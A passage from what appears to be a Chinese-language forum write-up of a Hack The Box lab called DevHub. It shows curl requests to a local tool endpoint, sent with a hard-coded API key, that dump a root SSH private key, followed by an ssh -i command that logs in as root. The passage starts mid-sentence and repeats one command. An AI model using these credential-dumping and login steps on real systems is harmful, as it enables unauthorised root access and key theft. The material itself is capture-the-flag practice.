comfirm那边过不去。 "confirm": true } } analyst@devhub:~$ curl -s http://127.0.0.1:5000/tools/call \ -H 'Content-Type: application/json' \ -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \ --data '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' curl -s http://127.0.0.1:5000/tools/call \ > -H 'Content-Type: application/json' \ > -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \ > --data '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' > {"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\xxxxxxxxxx----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"} > analyst@devhub:~$ 拿到key了,就用ssh -i登陆上去拿root. ssh -i /root/Desktop/htbfile/DevHub/root_id_rsa [email protected] 1 个帖子 - 1 位参与者 阅读完整话题